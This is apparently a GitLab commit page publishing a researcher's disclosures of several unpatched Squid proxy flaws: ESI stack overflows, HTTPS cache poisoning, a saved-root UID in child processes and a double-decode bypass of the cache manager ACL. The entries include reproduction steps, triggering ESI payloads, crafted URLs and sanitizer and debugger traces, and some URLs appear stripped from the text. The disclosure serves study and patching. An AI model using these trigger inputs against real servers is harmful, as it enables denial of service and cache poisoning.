Commit 97f8e3eb authored by Jeriko One's avatar Jeriko One
Browse files

Publish rest of Squid vulns including exploit

parent 4e4694f9
Vulnerability: ESI Expression Stack Buffer Overflow
Impact: Overwriting the stack could lead to RCE.
Versions: All
Squid Announce: No announce
Additional Information: Not fixed yet
When ESI is handling <esi:when> it reads the attribute test and evaluates the
expression. This is handled in ESIExpression::Evaluate. Here a buffer is
allocated on the stack
stackmember stack[20];
The attribute's contents is parsed via getsymbol. These symbols are then
added to the stack via addmember
Add member will either add it to the stack if the candidate precedence is
larger than the top 2 on the current stack, or if it's a literal
if (candidate->precedence < stack[*stackdepth - 1].precedence ||
candidate->precedence < stack[*stackdepth - 2].precedence) {
/* must be an operator */
if (stack[*stackdepth - 2].valuetype == ESI_EXPR_LITERAL ||
stack[*stackdepth - 2].valuetype == ESI_EXPR_INVALID ||
stack[*stackdepth - 2].eval(stack, stackdepth,
*stackdepth - 2, candidate)) {
} else {
stack[(*stackdepth)++] = *candidate;
} else if (candidate->valuetype != ESI_EXPR_INVALID)
stack[(*stackdepth)++] = *candidate;
Although it has the stackdepth, it never checks to see if it's reached the
limit of this buffer, thus leading to a stack overflow.
Repo Steps:
1) Setup Squid to be a reverse Proxy
2) Have the server that's being reverse proxied serve up ESI headers:
Surrogate-Control: content="ESI/1.0"
And a body such as:
<html xmlns:esi="">
<esi:when test="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0">
Overwriting the stack could lead to code execution. Even though an attacker
could trigger this they only control 8 of the 32 bytes that will be
overwritten when adding a struct _stackmember. They'd have to ensure things
align properly to overwrite a ret address. If compiled with stack cookies an
attacker would have to overcome that as well to get anything other than a DOS
attack out of this
==4326==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe846cd9d0 at pc 0x564d334297b3 bp 0x7ffe846cd510 sp 0x7ffe846cd500
WRITE of size 32 at 0x7ffe846cd9d0 thread T0
#0 0x564d334297b2 in addmember /home/j1/h4x/squid-git/src/esi/
#1 0x564d33429d1f in ESIExpression::Evaluate(char const*) /home/j1/h4x/squid-git/src/esi/
#2 0x564d3341a9a1 in esiWhen::evaluate() /home/j1/h4x/squid-git/src/esi/
#3 0x564d3341a34b in esiWhen::esiWhen(RefCount<esiTreeParent>, int, char const**, ESIVarState*) /home/j1/h4x/squid-git/src/esi/
#4 0x564d334072af in ESIContext::start(char const*, char const**, unsigned long) /home/j1/h4x/squid-git/src/esi/
#5 0x564d3344de78 in ESIExpatParser::Start(void*, char const*, char const**) /home/j1/h4x/squid-git/src/esi/
#6 0x7f5a025031be (/usr/lib64/
#7 0x7f5a0250610d (/usr/lib64/
#8 0x7f5a0250761a (/usr/lib64/
#9 0x7f5a0250b0b9 in XML_ParseBuffer (/usr/lib64/
#10 0x564d3344e168 in ESIExpatParser::parse(char const*, unsigned long, bool) /home/j1/h4x/squid-git/src/esi/
#11 0x564d33409edc in ESIContext::parseOneBuffer() /home/j1/h4x/squid-git/src/esi/
#12 0x564d3340a697 in ESIContext::parse() /home/j1/h4x/squid-git/src/esi/
#13 0x564d3340aa2a in ESIContext::process() /home/j1/h4x/squid-git/src/esi/
#14 0x564d333fcb6e in ESIContext::kick() /home/j1/h4x/squid-git/src/esi/
#15 0x564d33402877 in esiProcessStream(clientStreamNode*, ClientHttpRequest*, HttpReply*, StoreIOBuffer) /home/j1/h4x/squid-git/src/esi/
#16 0x564d32c68a8b in clientStreamCallback(clientStreamNode*, ClientHttpRequest*, HttpReply*, StoreIOBuffer) /home/j1/h4x/squid-git/src/
#17 0x564d32c36aad in clientReplyContext::pushStreamData(StoreIOBuffer const&, char*) /home/j1/h4x/squid-git/src/
#18 0x564d32c3a81a in clientReplyContext::sendMoreData(StoreIOBuffer) /home/j1/h4x/squid-git/src/
#19 0x564d32c35e44 in clientReplyContext::SendMoreData(void*, StoreIOBuffer) /home/j1/h4x/squid-git/src/
#20 0x564d32e8442a in store_client::callback(long, bool) /home/j1/h4x/squid-git/src/
#21 0x564d32e87346 in store_client::scheduleMemRead() /home/j1/h4x/squid-git/src/
#22 0x564d32e86b32 in store_client::scheduleRead() /home/j1/h4x/squid-git/src/
#23 0x564d32e86501 in store_client::doCopy(StoreEntry*) /home/j1/h4x/squid-git/src/
#24 0x564d32e85c36 in storeClientCopy2 /home/j1/h4x/squid-git/src/
#25 0x564d32e8476a in storeClientCopyEvent /home/j1/h4x/squid-git/src/
#26 0x564d32cbb5e6 in EventDialer::dial(AsyncCall&) /home/j1/h4x/squid-git/src/
#27 0x564d32cbc1e6 in AsyncCallT<EventDialer>::fire() ../src/base/AsyncCall.h:145
#28 0x564d33096b11 in AsyncCall::make() /home/j1/h4x/squid-git/src/base/
#29 0x564d33098691 in AsyncCallQueue::fireNext() /home/j1/h4x/squid-git/src/base/
#30 0x564d330981ad in AsyncCallQueue::fire() /home/j1/h4x/squid-git/src/base/
#31 0x564d32cbd32c in EventLoop::dispatchCalls() /home/j1/h4x/squid-git/src/
#32 0x564d32cbce87 in EventLoop::runOnce() /home/j1/h4x/squid-git/src/
#33 0x564d32cbca80 in EventLoop::run() /home/j1/h4x/squid-git/src/
#34 0x564d32dc11ee in SquidMain(int, char**) /home/j1/h4x/squid-git/src/
#35 0x564d32dbf80c in SquidMainSafe /home/j1/h4x/squid-git/src/
#36 0x564d32dbf759 in main /home/j1/h4x/squid-git/src/
#37 0x7f59ffe2e746 in __libc_start_main (/lib64/
#38 0x564d32b3c1c9 in _start (/home/j1/h4x/squid-debug/sbin/squid+0x5501c9)
Address 0x7ffe846cd9d0 is located in stack of thread T0 at offset 928 in frame
#0 0x564d33429a6f in ESIExpression::Evaluate(char const*) /home/j1/h4x/squid-git/src/esi/
This frame has 5 object(s):
[32, 36) 'stackdepth'
[96, 104) 'end'
[160, 192) 'candidate'
[224, 256) 'rv'
[288, 928) 'stack' <== Memory access at offset 928 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/j1/h4x/squid-git/src/esi/ in addmember
Shadow bytes around the buggy address:
0x1000508d1ae0: f2 f2 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
0x1000508d1af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000508d1b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000508d1b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000508d1b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000508d1b30: 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 00 00
0x1000508d1b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000508d1b50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
0x1000508d1b60: f1 f1 f8 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 f3 f3
0x1000508d1b70: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000508d1b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Vulnerability: Cache Poisoning
Impact: Can serve attacker controlled HTML for wrong domain. Can allow an
attacker to access codepaths previously unreachable such as ESI.
Versions: Squid-5, Squid-4.7 ~
Squid Announce: No announce made
Additional Information: This vulnerability has been partially fixed
in Squid-4.8 closing the HTTPS path, and in 4.10 closing the FTP path.
When making a request Squid will check its cache to see if it has a response
that it can serve up. When squid determines that a reply can be cached it uses
a combination of METHOD, absolute URL, and possible vary headers to form a
MD5 hash.
This takes place in storeKeyPUblicByRequestMethod
SquidMD5Update(&M, &m, sizeof(m));
SquidMD5Update(&M, (unsigned char *) url.rawContent(), url.length());
As stated in the previous double decode vuln, absolute HTTPs urls include
decoded userInfo. userInfo is attached to the beginning of the URL after the
protocol, and can contain special characters such as / ? and #.
It's possible to have a cache entry for one domain, be used for another
domain. Leading to possible HTML/JS execution in a target domain. The
requirement being that it must have the HTTPS protocol.
This can lead to Squid serving the wrong
Reply as multiple request from different domains can look similar.
Take for example the following:
The reply from would decode to
And the reply would be stored
Now if a real request for came in with a similar URL
The cached reply would be served, and any scripts that were returned by
the original request would now be running in context.
Someone who wanted to abuse this would need a way to get the victim to make
both requests, or be on the Squid network to make the first request to poison.
Currently I'm unsure on how to get a URL with the userinfo to
reach Squid via a browser. My attempts always have the userinfo end up in the
Authorization header. Someone who was authenticated with Squid could poison it
themselves, and have a way to get a victim to visit a site that could trigger
the reading of the result.
Repo Steps:
1) Enable SSL caching in Squid
2) Start your SSL server
3) Make a request such as https://<target_domain>%2F%3F@<your_domain>
Use a response that includes <script>alert(document.domain)</script>
to show which domain the script is running in
4) Make a request for https://<target_domain>/?@<your_domain>
Observe that for a request to <target_domain> the response from <your_domain>
was served
This vulnerability isn't limited to just sending victims poisoned responses.
It can also be leveraged to access code paths that were originally unreachable
by a user of the Squid server. Such as the ESI code base for reverse proxy
servers. With this an attacker could poison a response from the reversed proxy
server, include ESI headers in the response and enjoy the vulnerabilities here
that were originally inaccessible through normal request.
Vulnerability: ESIContext parserState.stack Overflow
Impact: DOS
Versions: All
Additional Information: Not Fixed Yet
ESI is typically only accessible by someone who controls the server that is
being reverse proxied by Squid. Using the Cache Poisoning vulnerability I
reported earlier, an attacker is able to inject responses from a reverse
proxied server on a Squid server that has both Proxy and Reverse Proxy
When handling a response containing ESI Squid will iterate over the ESI
elements. While creating the objects that correspond to these elements ESI
will add them to a Context Stack in ESIContext::start by calling
ESIContext::addStackElement has an assert that will ensure that the stackdepth
is < 11
assert (parserState.stackdepth <11);
assert (!failed());
debugs(86, 5, "ESIContext::addStackElement: About to add ESI Node " << element.getRaw());
if (!>addElement(element)) {
debugs(86, DBG_IMPORTANT, "ESIContext::addStackElement: failed to add esi node, probable error in ESI template");
flags.error = 1;
} else {
/* added ok, push onto the stack */
parserState.stack[parserState.stackdepth] = element;
The stack that it's adding it to is parserState a memeber of ESIContext
class ParserState
ESIElement::Pointer stack[10]; /
We see that the stack buffer holds up to 10, but the assert is off by 1
allowing access of the 11th element. This causes the stack buffer to overflow by 1 element.
Breakpoint 2, ESIContext::addStackElement (this=0x612000016558, element=...) at
942 parserState.stack[parserState.stackdepth] = element;
(gdb) p/x parserState.stackdepth
$20 = 0xa
(gdb) p parserState.stack[10]
$37 = {
p_ = 0xa
(gdb) p element
$38 = {
p_ = 0x608000017aa0
(gdb) p tempP_
$1 = (const ESIElement *) 0xa
Repo Steps:
1) Setup Squid to be a reverse Proxy
2) Have the server that's being reverse proxied serve up ESI headers:
Surrogate-Control: content="ESI/1.0"
And a body such as:
<html xmlns:esi="">
This most likely can't be used for anything other than a DOS attack. The
reason it's dereferencing 0xa is that stack[10] references the next member
in the class which is the stackdepth member.
0x0000555c8011c0cf in RefCount<ESIElement>::dereference (this=0x6120000167a0, newP=0x608000027fa0) at ../src/base/RefCount.h:93
93 if (tempP_ && tempP_->unlock() == 0)
(gdb) bt
#0 0x0000555c8011c0cf in RefCount<ESIElement>::dereference (this=0x6120000167a0, newP=0x608000027fa0) at ../src/base/RefCount.h:93
#1 0x0000555c806beb74 in RefCount<ESIElement>::operator= (this=0x6120000167a0, p=...) at ../../src/base/RefCount.h:51
#2 0x0000555c806a4c39 in ESIContext::addStackElement (this=0x6120000166d8, element=...) at
#3 0x0000555c806a7673 in ESIContext::start (this=0x6120000166d8, el=0x60600001e2c0 "|vars", attr=0x615000027900, attrCount=0) at
#4 0x0000555c806ede79 in ESIExpatParser::Start (data=0x61900005e680, el=0x60600001e2c0 "|vars", attr=0x615000027900) at
#5 0x00007f0a4fe891bf in ?? () from /usr/lib64/
#6 0x00007f0a4fe8c10e in ?? () from /usr/lib64/
#7 0x00007f0a4fe8d61b in ?? () from /usr/lib64/
#8 0x00007f0a4fe910ba in XML_ParseBuffer () from /usr/lib64/
#9 0x0000555c806ee169 in ESIExpatParser::parse (this=0x604000037d50, dataToParse=0x621000066920 "<html xmlns:esi=\"\">\n\t<body>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t</esi:vars>\n\t</body>\n</html>\n", lengthOfData=225, endOfStream=false) at
#10 0x0000555c806a9edd in ESIContext::parseOneBuffer (this=0x6120000166d8) at
#11 0x0000555c806aa698 in ESIContext::parse (this=0x6120000166d8) at
#12 0x0000555c806aaa2b in ESIContext::process (this=0x6120000166d8) at
#13 0x0000555c8069cb6f in ESIContext::kick (this=0x6120000166d8) at
#14 0x0000555c806a2878 in esiProcessStream (thisNode=0x60c00001f6d8, http=0x614000000e58, rep=0x0, receivedData=...) at
#15 0x0000555c7ff08a8c in clientStreamCallback (thisObject=0x60c00001f3d8, http=0x614000000e58, rep=0x0, replyBuffer=...) at
#16 0x0000555c7fed6aae in clientReplyContext::pushStreamData (this=0x621000064118, result=..., source=0x621000066920 "<html xmlns:esi=\"\">\n\t<body>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t<esi:vars>\n\t\t</esi:vars>\n\t</body>\n</html>\n") at
#17 0x0000555c7feda81b in clientReplyContext::sendMoreData (this=0x621000064118, result=...) at
#18 0x0000555c7fed5e45 in clientReplyContext::SendMoreData (data=0x621000064118, result=<error reading variable: Cannot access memory at address 0xffffffffffffffaa>) at
#19 0x0000555c8012442b in store_client::callback (this=0x60d00001cea8, sz=225, error=false) at
#20 0x0000555c80127347 in store_client::scheduleMemRead (this=0x60d00001cea8) at
#21 0x0000555c80126b33 in store_client::scheduleRead (this=0x60d00001cea8) at
#22 0x0000555c80126502 in store_client::doCopy (this=0x60d00001cea8, anEntry=0x60c00001ef40) at
#23 0x0000555c80125c37 in storeClientCopy2 (e=0x60c00001ef40, sc=0x60d00001cea8) at
#24 0x0000555c8012476b in storeClientCopyEvent (data=0x60d00001cea8) at
#25 0x0000555c7ff5b5e7 in EventDialer::dial (this=0x6080000274d0) at
#26 0x0000555c7ff5c1e7 in AsyncCallT<EventDialer>::fire (this=0x6080000274a0) at ../src/base/AsyncCall.h:145
#27 0x0000555c80336b12 in AsyncCall::make (this=0x6080000274a0) at
#28 0x0000555c80338692 in AsyncCallQueue::fireNext (this=0x60200000c630) at
#29 0x0000555c803381ae in AsyncCallQueue::fire (this=0x60200000c630) at
#30 0x0000555c7ff5d32d in EventLoop::dispatchCalls (this=0x7ffd34a234a0) at
#31 0x0000555c7ff5ce88 in EventLoop::runOnce (this=0x7ffd34a234a0) at
#32 0x0000555c7ff5ca81 in EventLoop::run (this=0x7ffd34a234a0) at
#33 0x0000555c800611ef in SquidMain (argc=6, argv=0x7ffd34a23708) at
#34 0x0000555c8005f80d in SquidMainSafe (argc=6, argv=0x7ffd34a23708) at
#35 0x0000555c8005f75a in main (argc=6, argv=0x7ffd34a23708) at
Vulnerability: Non Privileged Child Process has 0 Saved UID
Impact: A compromised child process can easily regain root access
Versions: All
Squid Announce: No announce
Additional Information: Not fixed yet
When Squid is run as root, it drops it's kids privileges to a given user,
nobody by default.
This is done via the call to leave_suid.
if (setresuid(Config2.effectiveUserID, Config2.effectiveUserID, 0) < 0) {
const auto xerrno = errno;
fatalf("FATAL: setresuid: %s", xstrerr(xerrno));
if (seteuid(Config2.effectiveUserID) < 0) {
const auto xerrno = errno;
fatalf("FATAL: seteuid: %s", xstrerr(xerrno));
if (setuid(Config2.effectiveUserID) < 0) {
const auto xerrno = errno;
fatalf("FATAL: setuid: %s", xstrerr(xerrno));
We see that the only time all the UIDs of the process are changed is if
We can also check the UIDs via /proc/<pid>/status
$ grep -i uid /proc/$(pgrep squid |tail -n 1)/status
Uid: 65534 65534 0 65534
Where values are Real, Effective, Saved and Filesystem UID
When a process has a saved UID of 0, the process is able to elevate back to
root. This is by design in some places in Squid where leave_suid is followed
by a enter_suid.
Once the process is done doing all elevated commands it should drop all UIDs
to an unprivileged user. Not doing so makes it trivial to regain root once the
kid process has been compromised.
Vulnerability : Cache Manager ACL Double Decode Bypass
Impact: Allows attacker to access Cache Manager which has useful information
on users, as well as addresses in Squid.
Versions: Squid-5, Squid-4.8 and below
Squid Announce: No announce made
Additional information: This specific repo was fixed in 4.8, but no announce
made must mean it was only a partial fix.
This vulnerability could be used to bypass other url_regex acls. I'll be
focusing on the default manager url_regex acl.
When Squid is checking ACLs and it wants to check if a URL is a cache manager
URL it checks the following rule
default_line("acl manager url_regex -i ^cache_object:// +i ^https?://[^/]+/squid-internal-mgr/");
When checking if the URL matches the regex the function
ACLUrlStrategy::match will be called. This will get the effectiveRequestUri,
decode it and then try to match it against the regex
ACLUrlStrategy::match (ACLData<char const *> * &data, ACLFilledChecklist *checklist)
char *esc_buf = SBufToCstring(checklist->request->effectiveRequestUri());
int result = data->match(esc_buf);
return result;
effectiveRequestUri() will return url.absolute() for methods that aren't
CONNECT and schemes that aren't PROTO_AUTHORITY_FORM
Looking at Uri::absolute we see that the userInfo is included into the
absolute uri representation if the protocol is HTTPS
const bool omitUserInfo = getScheme() == AnyP::PROTO_HTTP ||
getScheme() != AnyP::PROTO_HTTPS ||
if (!omitUserInfo) {
absolute_.append("@", 1);
userInfo is set in Uri::parse if the foundHost contains a @ that
the userinfo is extracted and then decoded.
t = strrchr(foundHost, '@');
if (t != NULL) {
strncpy((char *) login, (char *) foundHost, sizeof(login)-1);
login[sizeof(login)-1] = '\0';
t = strrchr(login, '@');
*t = 0;
strncpy((char *) foundHost, t + 1, sizeof(foundHost)-1);
foundHost[sizeof(foundHost)-1] = '\0';
// Bug 4498: URL-unescape the login info after extraction
This is eventually stored in userInfo when calling parseFinish
parseFinish(protocol, proto, urlpath, foundHost, SBuf(login), foundPort);
This userInfo is the decoded version, therefore special tokens such as ? # /
are possible entries in the userInfo.
We see now that the URL is decoded twice when checking RegexURL acls.
Let's consider the following example URL to show how we can access
CacheManager due to this double decode flaw.
g64 is the name of my Squid server
First in clientProcessRequest my request will be marked as internal as the
path is /squid-internal-mgr/active_requests, and the and url.port
match the Squid server hostname and port number
if (internalCheck(request->url.path())) {
if (internalHostnameIs(request-> && request->url.port() == getMyPort()) {
debugs(33, 2, "internal URL found: " << request->url.getScheme() << "://" << request->url.authority(true));
http->flags.internal = true;
As it makes it way through ACL checks it'll come against the Manager regex acl
After the call rfc1738_unescape is made my URL is now
Which fails against the Manager regex check
As this decoding didn't change the original URL, when I reach internalStart my
path will match against mgrPfx, giving me access to the cache manager.
The Cache manager has a lot of useful information for anyone who is curious on
what type of traffic is going through a Squid server. It also provides useful
information for someone trying to gain remote code execution over the server
as the cmd active_requests holds a number of in use addresses
This diff is collapsed.
Supports Markdown
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment